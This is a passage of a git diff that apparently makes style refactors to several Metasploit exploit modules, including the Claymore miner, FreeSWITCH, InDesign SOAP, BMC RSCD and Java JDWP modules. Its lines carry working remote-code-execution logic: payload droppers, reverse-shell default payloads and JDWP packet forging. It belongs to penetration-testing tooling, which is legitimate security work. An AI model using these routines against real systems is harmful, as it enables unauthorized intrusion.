msg_1, Zlib::SYNC_FLUSH send_msg(0x44, 0x0, comp_data) @@ -434,7 +434,7 @@ class MetasploitModule < Msf::Exploit::Remote enc_key = 'k$C4}@"_' output_data = des_crypt_func(password, enc_key, DES_ENCRYPT) # Convert to hex string - encrpted_pw = output_data.unpack1("H*") + encrpted_pw = output_data.unpack1('H*') des_pw = encrpted_pw.upcase msg_1 = %(ID @@ -458,7 +458,7 @@ class MetasploitModule < Msf::Exploit::Remote def rotate_block_init(input_block_tuple) v6 = 0 v5 = 0 - input_block_tuple = input_block_tuple.pack("V*").unpack("i*") + input_block_tuple = input_block_tuple.pack('V*').unpack('i*') v3 = input_block_tuple[0] v4 = input_block_tuple[1] @@ -665,7 +665,7 @@ class MetasploitModule < Msf::Exploit::Remote def rotate_block_final(input_block_tuple) v6 = 0 v5 = 0 - input_block_tuple = input_block_tuple.pack("V*").unpack("i*") + input_block_tuple = input_block_tuple.pack('V*').unpack('i*') v3 = input_block_tuple[0] v4 = input_block_tuple[1] @@ -892,19 +892,19 @@ class MetasploitModule < Msf::Exploit::Remote v3 >>= 4 a2[0] |= v3 & 0xff - data_block = a2.pack("c*").unpack("V*") + data_block = a2.pack('c*').unpack('V*') data_block[0] &= 0x3F3F3F3F data_block[1] &= 0x3F3F3F3F data_block end def desx(data_block, ksch, idx) - ksch = ksch.pack("V*") - ksch = ksch.unpack("Q<*") + ksch = ksch.pack('V*') + ksch = ksch.unpack('Q<*') key_block = ksch[idx] - data_block_ptr = data_block.pack("V*") - data_block_ptr = data_block_ptr.unpack1("Q<*") + data_block_ptr = data_block.pack('V*') + data_block_ptr = data_block_ptr.unpack1('Q<*') data_block_ptr ^= key_block counter = 1 @@ -948,7 +948,7 @@ class MetasploitModule < Msf::Exploit::Remote end def store(data_block) - a1 = data_block.pack("V*") + a1 = data_block.pack('V*') val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1 val & 0xffffffff end @@ -989,7 +989,7 @@ class MetasploitModule < Msf::Exploit::Remote def gen_key_unchecked(key) idx = 0 - key_arr = key.unpack("V*") + key_arr = key.unpack('V*') key_sch = Array.new for i in 0..15 idx += ROTATIONS[i].ord @@ -1040,7 +1040,7 @@ class MetasploitModule < Msf::Exploit::Remote temp_key1 = Array.new(8, 0) temp_key2 = Array.new(8, 0) - key_buf_bytes = key_buf_str.unpack("c*") + key_buf_bytes = key_buf_str.unpack('c*') counter = 0 key_buf_str_len = key_buf_bytes.length - 1 @@ -1049,13 +1049,13 @@ class MetasploitModule < Msf::Exploit::Remote temp_key1[counter] |= key_buf_bytes[i] temp_key2[counter] |= key_buf_bytes[i] - data_block = temp_key1.pack("c*").unpack("V*") + data_block = temp_key1.pack('c*').unpack('V*') temp_key1 = sbox_xors(data_block, des_keysch_0, 0) - temp_key1 = temp_key1.pack("V*").unpack("c*") + temp_key1 = temp_key1.pack('V*').unpack('c*') - data_block = temp_key2.pack("c*").unpack("V*") + data_block = temp_key2.pack('c*').unpack('V*') temp_key2 = sbox_xors(data_block, des_keysch_1, 0) - temp_key2 = temp_key2.pack("V*").unpack("c*") + temp_key2 = temp_key2.pack('V*').unpack('c*') counter += 1 end @@ -1064,12 +1064,12 @@ class MetasploitModule < Msf::Exploit::Remote for j in 0..7 ret_key[j] = temp_key2[j] ^ temp_key1[j] end - ret_key.pack("c*") + ret_key.pack('c*') end def des_cbc(input_buf, key_sch, iv, decrypt_flag) output_block_arr = Array.new - blocks = input_buf.unpack("Q<*") + blocks = input_buf.unpack('Q<*') for i in 0..blocks.length - 1 current_block = blocks[i] @@ -1079,9 +1079,9 @@ class MetasploitModule < Msf::Exploit::Remote current_block ^= iv end - current_block_tuple = [current_block].pack("Q<").unpack("V*") + current_block_tuple = [current_block].pack('Q<').unpack('V*') output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag) - output_block = output_block_tuple.pack("V*").unpack1("Q<") + output_block = output_block_tuple.pack('V*').unpack1('Q<') output_block_arr.push output_block if decrypt_flag == 1 @@ -1092,7 +1092,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - output_block_arr.pack("Q<*") + output_block_arr.pack('Q<*') end def des_crypt_func(binary_buf, key_buf, decrypt_flag) diff --git a/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb b/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb index ebdb25e292..1151710e4c 100644 --- a/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb +++ b/modules/exploits/multi/misc/bmc_server_automation_rscd_nsh_rce.rb @@ -150,13 +150,9 @@ class MetasploitModule < Msf::Exploit::Remote # Execute a command but don't print output def execute_command(command, opts = {}) - if opts[:flavor] == :vbs - if command.start_with?('powershell') == false - if command.start_with?('cmd') == false - send_nexec_request('cmd /c ' + command, false) - return - end - end + if (opts[:flavor] == :vbs) && (command.start_with?('powershell') == false) && (command.start_with?('cmd') == false) + send_nexec_request('cmd /c ' + command, false) + return end send_nexec_request(command, false) end diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 6e6c8349dd..d2f4eafb8e 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -70,10 +70,10 @@ class MetasploitModule < Msf::Exploit::Remote def select_target data = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_getfile', - "params" => ['config.txt'] + 'id' => 0, + 'jsonrpc' => '2.0', + 'method' => 'miner_getfile', + 'params' => ['config.txt'] }.to_json connect sock.put(data) @@ -81,11 +81,10 @@ class MetasploitModule < Msf::Exploit::Remote tmp = StringIO.new tmp << buf tmp2 = tmp.string - hex = '' if tmp2.scan(/\w+/)[7] - return self.targets[2] + return targets[2] elsif tmp2.scan(/\w+/)[5] - return self.targets[1] + return targets[1] else return nil end @@ -98,10 +97,10 @@ class MetasploitModule < Msf::Exploit::Remote end data = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_getfile', - "params" => ['config.txt'] + 'id' => 0, + 'jsonrpc' => '2.0', + 'method' => 'miner_getfile', + 'params' => ['config.txt'] }.to_json connect sock.put(data) @@ -129,30 +128,30 @@ class MetasploitModule < Msf::Exploit::Remote disconnect end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) target = select_target case target['Platform'] when 'linux' cmd = Rex::Text.to_hex(cmd, '') upload = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_file', - "params" => ['reboot.bash', "#{cmd}"] + 'id' => 0, + 'jsonrpc' => '2.0', + 'method' => 'miner_file', + 'params' => ['reboot.bash', "#{cmd}"] }.to_json when 'windows' cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') upload = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_file', - "params" => ['reboot.bat', "#{cmd}"] + 'id' => 0, + 'jsonrpc' => '2.0', + 'method' => 'miner_file', + 'params' => ['reboot.bat', "#{cmd}"] }.to_json end connect sock.put(upload) - buf = sock.get_once || '' + sock.get_once || '' trigger_vulnerability rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e fail_with(Failure::UnexpectedReply, e.message) @@ -162,13 +161,13 @@ class MetasploitModule < Msf::Exploit::Remote def trigger_vulnerability execute = { - "id" => 0, - "jsonrpc" => '2.0', - "method" => 'miner_reboot' + 'id' => 0, + 'jsonrpc' => '2.0', + 'method' => 'miner_reboot' }.to_json connect sock.put(execute) - buf = sock.get_once || '' + sock.get_once || '' disconnect end diff --git a/modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb b/modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb index 0f5bd95369..2b7728f07d 100644 --- a/modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb +++ b/modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb @@ -41,38 +41,48 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix (In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, - 'Type' => :unix_memory + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, + 'Type' => :unix_memory + } ], [ 'Linux (Dropper)', - 'Platform' => 'linux', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, - 'Type' => :linux_dropper + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } ], [ 'PowerShell (In-Memory)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, - 'Type' => :psh_memory + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, + 'Type' => :psh_memory + } ], [ 'Windows (In-Memory)', - 'Platform' => 'win', - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }, - 'Type' => :win_memory + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }, + 'Type' => :win_memory + } ], [ 'Windows (Dropper)', - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, - 'Type' => :win_dropper + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, + 'Type' => :win_dropper + } ] ], 'Privileged' => false, @@ -142,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote end connect - banner = sock.get_once.to_s + sock.get_once.to_s auth(datastore['PASSWORD']) @@ -166,13 +176,13 @@ class MetasploitModule < Msf::Exploit::Remote cmd_psh_payload( payload.encoded, payload_instance.arch.first, - { :remove_comspec => true, :encode_final_payload => true } + { remove_comspec: true, encode_final_payload: true } ) ) when :linux_dropper - execute_cmdstager(:linemax => 1_500) + execute_cmdstager(linemax: 1_500) when :win_dropper - execute_cmdstager(:linemax => 1_500) + execute_cmdstager(linemax: 1_500) end ensure disconnect unless sock.nil? diff --git a/modules/exploits/multi/misc/indesign_server_soap.rb b/modules/exploits/multi/misc/indesign_server_soap.rb index 01134ce230..6fb247d324 100644 --- a/modules/exploits/multi/misc/indesign_server_soap.rb +++ b/modules/exploits/multi/misc/indesign_server_soap.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote def send_soap_request(script_code, script_type) script_code.gsub!(/&/, '&') - soap_xml = %Q{ + soap_xml = %( <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" @@ -75,22 +75,22 @@ xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns </IDSP:RunScript> </SOAP-ENV:Body> </SOAP-ENV:Envelope> -} +) - res = send_request_cgi({ + send_request_cgi({ 'uri' => '/', 'method' => 'POST', 'content-type' => 'application/x-www-form-urlencoded', - 'data' => soap_xml, + 'data' => soap_xml }, 5) end - def check() + def check # Use a very simple javascript check_var = rand_text_numeric(10) checkscript = 'returnValue = "' + check_var + '"' - res = send_soap_request(checkscript, "javascript") + res = send_soap_request(checkscript, 'javascript') return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>') @@ -99,9 +99,9 @@ xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns def exploit if target.name =~ /Windows/ - print_status("Creating payload vbs script") - encoded_payload = generate_payload_exe().unpack("H*").join - exe_file = Rex::Text.rand_text_alpha_upper(8) + ".exe" + print_status('Creating payload vbs script') + encoded_payload = generate_payload_exe.unpack('H*').join + exe_file = Rex::Text.rand_text_alpha_upper(8) + '.exe' wsf = Rex::Text.rand_text_alpha(8) payload_var = Rex::Text.rand_text_alpha(8) exe_name_var = Rex::Text.rand_text_alpha(8) @@ -110,7 +110,7 @@ xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns shell_var = Rex::Text.rand_text_alpha(8) # This one creates a smaller vbs payload (without deletion) - vbs = %Q{ + vbs = %{ Set #{wsf} = CreateObject("Scripting.FileSystemObject") #{payload_var} = "#{encoded_payload}" #{exe_name_var} = #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}" @@ -129,24 +129,24 @@ Set #{shell_var} = Nothing returnValue = #{exe_name_var} } # vbs = Msf::Util::EXE.to_exe_vbs(exe) - print_status("Sending SOAP request") + print_status('Sending SOAP request') - res = send_soap_request(vbs, "visual basic") - if res != nil and res.body != nil then - file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] - print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" + res = send_soap_request(vbs, 'visual basic') + if !res.nil? and !res.body.nil? + file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0] + print_warning "Payload deployed to #{file_to_delete}, please remove manually" end elsif target.name =~ /Mac OS X/ - print_status("Creating payload apple script") + print_status('Creating payload apple script') exe_payload = generate_payload_exe b64_exe_payload = Rex::Text.encode_base64(exe_payload) - b64_payload_name = rand_text_alpha(rand(5) + 5) - payload_name = rand_text_alpha(rand(5) + 5) + b64_payload_name = rand_text_alpha(rand(5..9)) + payload_name = rand_text_alpha(rand(5..9)) - apple_script = %Q{ + apple_script = %( set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp close access fp @@ -155,17 +155,17 @@ do shell script "rm /tmp/#{b64_payload_name}.txt" do shell script "chmod +x /tmp/#{payload_name}" do shell script "/tmp/#{payload_name}" set returnValue to "/tmp/#{payload_name}" - } + ) - print_status("Sending SOAP request") + print_status('Sending SOAP request') - res = send_soap_request(apple_script, "applescript") + res = send_soap_request(apple_script, 'applescript') - if res != nil and res.body != nil then - file_to_delete = res.body.to_s.scan(/<data xsi:type="xsd:string">(.*)<\/data><\/scriptResult>/).flatten[0] + if !res.nil? and !res.body.nil? + file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0] file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty? - print_warning "Payload deployed to #{file_to_delete.to_s}, please remove manually" - elsif not res + print_warning "Payload deployed to #{file_to_delete}, please remove manually" + elsif !res print_status "No response, it's expected" print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually" end diff --git a/modules/exploits/multi/misc/java_jdwp_debugger.rb b/modules/exploits/multi/misc/java_jdwp_debugger.rb index 01b904f07e..78887a89da 100644 --- a/modules/exploits/multi/misc/java_jdwp_debugger.rb +++ b/modules/exploits/multi/misc/java_jdwp_debugger.rb @@ -10,7 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE include Msf::Exploit::FileDropper - HANDSHAKE = "JDWP-Handshake" + HANDSHAKE = 'JDWP-Handshake' REQUEST_PACKET_TYPE = 0x00 REPLY_PACKET_TYPE = 0x80 @@ -146,12 +146,12 @@ class MetasploitModule < Msf::Exploit::Remote end # Forges packet for JDWP protocol - def create_packet(cmdsig, data = "") + def create_packet(cmdsig, data = '') flags = 0x00 cmdset, cmd = cmdsig pktlen = data.length + 11 buf = [pktlen, @my_id, flags, cmdset, cmd] - pkt = buf.pack("NNCCC") + pkt = buf.pack('NNCCC') pkt << data @my_id += 2 pkt @@ -165,12 +165,12 @@ class MetasploitModule < Msf::Exploit::Remote if pkt_len < 4 fail_with(Failure::Unknown, "#{peer} - Received corrupted response") end - id, flags, err_code = sock.get_once(7, timeout).unpack('NCn') + _, flags, err_code = sock.get_once(7, timeout).unpack('NCn') if err_code != 0 && flags == REPLY_PACKET_TYPE fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}") end - response = "" + response = '' while response.length + 11 < pkt_len partial = sock.get_once(pkt_len, timeout) fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial @@ -184,7 +184,7 @@ class MetasploitModule < Msf::Exploit::Remote def solve_string(data) sock.put(create_packet(STRINGVALUE_SIG, data)) response = read_reply - return "" unless response + return '' unless response return read_string(response) end @@ -200,7 +200,7 @@ class MetasploitModule < Msf::Exploit::Remote buf = build_string(data) sock.put(create_packet(CREATESTRING_SIG, buf)) buf = read_reply - return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false) + return parse_entries(buf, [[@vars['objectid_size'], 'obj_id']], false) end # Packs normal string into string structure for target VM @@ -213,24 +213,24 @@ class MetasploitModule < Msf::Exploit::Remote # Pack Integer for JDWP protocol def format(fmt, value) - if fmt == "L" || fmt == 8 + if fmt == 'L' || fmt == 8 return [value].pack('Q>') - elsif fmt == "I" || fmt == 4 + elsif fmt == 'I' || fmt == 4 return [value].pack('N') end - fail_with(Failure::Unknown, "Unknown format") + fail_with(Failure::Unknown, 'Unknown format') end # Unpack Integer from JDWP protocol def unformat(fmt, value) - if fmt == "L" || fmt == 8 + if fmt == 'L' || fmt == 8 return value[0..7].unpack('Q>')[0] - elsif fmt == "I" || fmt == 4 + elsif fmt == 'I' || fmt == 4 return value[0..3].unpack('N')[0] end - fail_with(Failure::Unknown, "Unknown format") + fail_with(Failure::Unknown, 'Unknown format') end # Parses given data according to a set of formats @@ -253,20 +253,20 @@ class MetasploitModule < Msf::Exploit::Remote data = {} formats.each do |fmt, name| - if fmt == "L" || fmt == 8 + if fmt == 'L' || fmt == 8 data[name] = buf[index, 8].unpack('Q>')[0] index += 8 - elsif fmt == "I" || fmt == 4 + elsif fmt == 'I' || fmt == 4 data[name] = buf[index, 4].unpack('N')[0] index += 4 - elsif fmt == "S" + elsif fmt == 'S' data_len = buf[index, 4].unpack('N')[0] data[name] = buf[index + 4, data_len] index += 4 + data_len - elsif fmt == "C" + elsif fmt == 'C' data[name] = buf[index].unpack('C')[0] index += 1 - elsif fmt == "Z" + elsif fmt == 'Z' t = buf[index].unpack('C')[0] if t == 115 data[name] = solve_string(buf[index + 1, 8]) @@ -275,7 +275,7 @@ class MetasploitModule < Msf::Exploit::Remote data[name], buf = buf[index + 1, 4].unpack('NN') end else - fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response") + fail_with(Failure::UnexpectedReply, 'Unexpected data when parsing server response') end end entries.append(data) @@ -287,11 +287,11 @@ class MetasploitModule < Msf::Exploit::Remote # Gets the sizes of variably-sized data types in the target VM def get_sizes formats = [ - ["I", "fieldid_size"], - ["I", "methodid_size"], - ["I", "objectid_size"], - ["I", "referencetypeid_size"], - ["I", "frameid_size"] + ['I', 'fieldid_size'], + ['I', 'methodid_size'], + ['I', 'objectid_size'], + ['I', 'referencetypeid_size'], + ['I', 'frameid_size'] ] sock.put(create_packet(IDSIZES_SIG)) response = read_reply @@ -302,11 +302,11 @@ class MetasploitModule < Msf::Exploit::Remote # Gets the JDWP version implemented by the target VM def get_version formats = [ - ["S", "descr"], - ["I", "jdwp_major"], - ["I", "jdwp_minor"], - ["S", "vm_version"], - ["S", "vm_name"] + ['S', 'descr'], + ['I', 'jdwp_major'], + ['I', 'jdwp_minor'], + ['S', 'vm_version'], + ['S', 'vm_name'] ] sock.put(create_packet(VERSION_SIG)) response = read_reply @@ -315,7 +315,7 @@ class MetasploitModule < Msf::Exploit::Remote end def version - "#{@vars["vm_name"]} - #{@vars["vm_version"]}" + "#{@vars['vm_name']} - #{@vars['vm_version']}" end # Returns reference for all threads currently running on target VM @@ -325,7 +325,7 @@ class MetasploitModule < Msf::Exploit::Remote num_threads = response.unpack('N').first index = 4 - size = @vars["objectid_size"] + size = @vars['objectid_size'] num_threads.times do t_id = unformat(size, response[index, size]) @threads[t_id] = nil @@ -338,10 +338,10 @@ class MetasploitModule < Msf::Exploit::Remote return unless @classes.empty? formats = [ - ["C", "reftype_tag"], - [@vars["referencetypeid_size"], "reftype_id"], - ["S", "signature"], - ["I", "status"] + ['C', 'reftype_tag'], + [@vars['referencetypeid_size'], 'reftype_id'], + ['S', 'signature'], + ['I', 'status'] ] sock.put(create_packet(ALLCLASSES_SIG)) response = read_reply @@ -352,7 +352,7 @@ class MetasploitModule < Msf::Exploit::Remote def get_class_by_name(name) @classes.each do |entry_array| entry_array.each do |entry| - if entry["signature"].downcase == name.downcase + if entry['signature'].downcase == name.downcase return entry end end @@ -369,12 +369,12 @@ class MetasploitModule < Msf::Exploit::Remote end formats = [ - [@vars["methodid_size"], "method_id"], - ["S", "name"], - ["S", "signature"], - ["I", "mod_bits"] + [@vars['methodid_size'], 'method_id'], + ['S', 'name'], + ['S', 'signature'], + ['I', 'mod_bits'] ] - ref_id = format(@vars["referencetypeid_size"], reftype_id) + ref_id = format(@vars['referencetypeid_size'], reftype_id) sock.put(create_packet(METHODS_SIG, ref_id)) response = read_reply @methods[reftype_id] = parse_entries(response, formats) @@ -383,12 +383,12 @@ class MetasploitModule < Msf::Exploit::Remote # Returns information for each field in a reference type (ie. object) def get_fields(reftype_id) formats = [ - [@vars["fieldid_size"], "field_id"], - ["S", "name"], - ["S", "signature"], - ["I", "mod_bits"] + [@vars['fieldid_size'], 'field_id'], + ['S', 'name'], + ['S', 'signature'], + ['I', 'mod_bits'] ] - ref_id = format(@vars["referencetypeid_size"], reftype_id) + ref_id = format(@vars['referencetypeid_size'], reftype_id) sock.put(create_packet(FIELDS_SIG, ref_id)) response = read_reply fields = parse_entries(response, formats) @@ -400,19 +400,19 @@ class MetasploitModule < Msf::Exploit::Remote # or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced; # for example, the values of private fields can be obtained. def get_value(reftype_id, field_id) - data = format(@vars["referencetypeid_size"], reftype_id) + data = format(@vars['referencetypeid_size'], reftype_id) data << [1].pack('N') - data << format(@vars["fieldid_size"], field_id) + data << format(@vars['fieldid_size'], field_id) sock.put(create_packet(GETVALUES_SIG, data)) response = read_reply num_values = response.unpack('N')[0] unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT) - fail_with(Failure::Unknown, "Bad response when getting value for field") + fail_with(Failure::Unknown, 'Bad response when getting value for field') end - len = @vars["objectid_size"] + len = @vars['objectid_size'] value = unformat(len, response[5..-1]) value @@ -424,10 +424,10 @@ class MetasploitModule < Msf::Exploit::Remote # the field's type exactly. For object values, there must exist a widening reference conversion from the # value's type to the field's type and the field's type must be loaded. def set_value(reftype_id, field_id, value) - data = format(@vars["referencetypeid_size"], reftype_id) + data = format(@vars['referencetypeid_size'], reftype_id) data << [1].pack('N') - data << format(@vars["fieldid_size"], field_id) - data << format(@vars["objectid_size"], value) + data << format(@vars['fieldid_size'], field_id) + data << format(@vars['objectid_size'], value) sock.put(create_packet(SETSTATICVALUES_SIG, data)) read_reply @@ -437,11 +437,9 @@ class MetasploitModule < Msf::Exploit::Remote def get_method_by_name(classname, name, signature = nil) @methods[classname].each do |entry| if signature.nil? - return entry if entry["name"].downcase == name.downcase - else - if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase - return entry - end + return entry if entry['name'].downcase == name.downcase + elsif entry['name'].downcase == name.downcase && entry['signature'].downcase == signature.downcase + return entry end end @@ -455,8 +453,8 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") end - get_methods(target_class["reftype_id"]) - target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature) + get_methods(target_class['reftype_id']) + target_method = get_method_by_name(target_class['reftype_id'], looked_method, signature) unless target_method fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") end @@ -466,7 +464,7 @@ class MetasploitModule < Msf::Exploit::Remote # Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept") def str_to_fq_class(s) - i = s.rindex(".") + i = s.rindex('.') unless i fail_with(Failure::BadConfig, 'Bad defined break class') end @@ -482,12 +480,12 @@ class MetasploitModule < Msf::Exploit::Remote # Gets the status of a given thread def thread_status(thread_id) - sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id))) + sock.put(create_packet(THREADSTATUS_SIG, format(@vars['objectid_size'], thread_id))) buf = read_reply(datastore['BREAK_TIMEOUT']) unless buf - fail_with(Failure::Unknown, "No network response") + fail_with(Failure::Unknown, 'No network response') end - status, suspend_status = buf.unpack('NN') + status, = buf.unpack('NN') status end @@ -497,12 +495,12 @@ class MetasploitModule < Msf::Exploit::Remote if thread_id.nil? sock.put(create_packet(RESUMEVM_SIG)) else - sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id))) + sock.put(create_packet(THREADRESUME_SIG, format(@vars['objectid_size'], thread_id))) end response = read_reply(datastore['BREAK_TIMEOUT']) unless response - fail_with(Failure::Unknown, "No network response") + fail_with(Failure::Unknown, 'No network response') end response @@ -513,12 +511,12 @@ class MetasploitModule < Msf::Exploit::Remote if thread_id.nil? sock.put(create_packet(SUSPENDVM_SIG)) else - sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id))) + sock.put(create_packet(THREADSUSPEND_SIG, format(@vars['objectid_size'], thread_id))) end response = read_reply unless response - fail_with(Failure::Unknown, "No network response") + fail_with(Failure::Unknown, 'No network response') end response @@ -545,7 +543,7 @@ class MetasploitModule < Msf::Exploit::Remote # Parses a received event and compares it with the expected def parse_event(buf, event_id, thread_id) - len = @vars["objectid_size"] + len = @vars['objectid_size'] return false if buf.length < 10 + len - 1 r_id = buf[6..9].unpack('N')[0] @@ -566,9 +564,9 @@ class MetasploitModule < Msf::Exploit::Remote # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private # methods can be invoked. def invoke_static(class_id, thread_id, meth_id, args = []) - data = format(@vars["referencetypeid_size"], class_id) - data << format(@vars["objectid_size"], thread_id) - data << format(@vars["methodid_size"], meth_id) + data = format(@vars['referencetypeid_size'], class_id) + data << format(@vars['objectid_size'], thread_id) + data << format(@vars['methodid_size'], meth_id) data << [args.length].pack('N') args.each do |arg| @@ -585,10 +583,10 @@ class MetasploitModule < Msf::Exploit::Remote # superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods # can be invoked. def invoke(obj_id, thread_id, class_id, meth_id, args = []) - data = format(@vars["objectid_size"], obj_id) - data << format(@vars["objectid_size"], thread_id) - data << format(@vars["referencetypeid_size"], class_id) - data << format(@vars["methodid_size"], meth_id) + data = format(@vars['objectid_size'], obj_id) + data << format(@vars['objectid_size'], thread_id) + data << format(@vars['referencetypeid_size'], class_id) + data << format(@vars['methodid_size'], meth_id) data << [args.length].pack('N') args.each do |arg| @@ -604,9 +602,9 @@ class MetasploitModule < Msf::Exploit::Remote # Creates a new object of specified class, invoking the specified constructor. The constructor # method ID must be a member of the class type. def create_instance(class_id, thread_id, meth_id, args = []) - data = format(@vars["referencetypeid_size"], class_id) - data << format(@vars["objectid_size"], thread_id) - data << format(@vars["methodid_size"], meth_id) + data = format(@vars['referencetypeid_size'], class_id) + data << format(@vars['objectid_size'], thread_id) + data << format(@vars['methodid_size'], meth_id) data << [args.length].pack('N') args.each do |arg| @@ -621,13 +619,13 @@ class MetasploitModule < Msf::Exploit::Remote # Creates a byte[] def create_array(len) - target_class = get_class_by_name("[B") - fail_with(Failure::Unknown, "target_class is nil") if target_class.nil? + target_class = get_class_by_name('[B') + fail_with(Failure::Unknown, 'target_class is nil') if target_class.nil? - type_id = target_class["reftype_id"] - fail_with(Failure::Unknown, "type_id is nil") if type_id.nil? + type_id = target_class['reftype_id'] + fail_with(Failure::Unknown, 'type_id is nil') if type_id.nil? - data = format(@vars["referencetypeid_size"], type_id) + data = format(@vars['referencetypeid_size'], type_id) data << [len].pack('N') sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data)) @@ -637,7 +635,7 @@ class MetasploitModule < Msf::Exploit::Remote # Initializes the byte[] with values def set_values(obj_id, args = []) - data = format(@vars["objectid_size"], obj_id) + data = format(@vars['objectid_size'], obj_id) data << [0].pack('N') data << [args.length].pack('N') @@ -661,7 +659,7 @@ class MetasploitModule < Msf::Exploit::Remote # Configures payload according to targeted architecture def setup_payload # 1. Setting up generic values. - payload_exe = rand_text_alphanumeric(4 + rand(4)) + payload_exe = rand_text_alphanumeric(rand(4..7)) pl_exe = generate_payload_exe # 2. Setting up arch specific... @@ -686,41 +684,41 @@ class MetasploitModule < Msf::Exploit::Remote # Invokes java.lang.System.getProperty() for OS fingerprinting purposes def fingerprint_os(thread_id) - size = @vars["objectid_size"] + size = @vars['objectid_size'] # 1. Creates a string on target VM with the property to be getted - cmd_obj_ids = create_string("os.name") - fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 